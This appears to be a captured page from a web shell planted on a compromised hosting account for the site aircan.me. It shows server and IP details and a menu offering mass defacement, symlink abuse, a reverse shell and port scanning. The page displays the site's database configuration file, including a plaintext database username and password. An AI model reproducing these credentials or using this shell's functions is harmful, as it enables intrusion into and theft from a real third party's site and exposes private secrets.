Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
hotelero
/
config
/
Viewing: database.php
<?php declare(strict_types=1); class Database { private string $host = 'localhost'; private string $db_name = 'u931257429_hotelero'; private string $username = 'u931257429_hotelero'; private string $password = 'Aircan.12'; private ?\mysqli $conn = null; public function getConnection(): \mysqli { if ($this->conn instanceof \mysqli) { return $this->conn; } $conexion = \mysqli_init(); if (!$conexion instanceof \mysqli) { throw new \RuntimeException('No se pudo inicializar la extensión MySQLi.'); } if (!$conexion->real_connect($this->host, $this->username, $this->password, $this->db_name)) { throw new \RuntimeException('Error de conexión: ' . $conexion->connect_error); } if (!$conexion->set_charset('utf8mb4')) { throw new \RuntimeException('No se pudo establecer el charset utf8mb4: ' . $conexion->error); } $this->conn = $conexion; return $this->conn; } }
Coded With 💗 by
0x6ick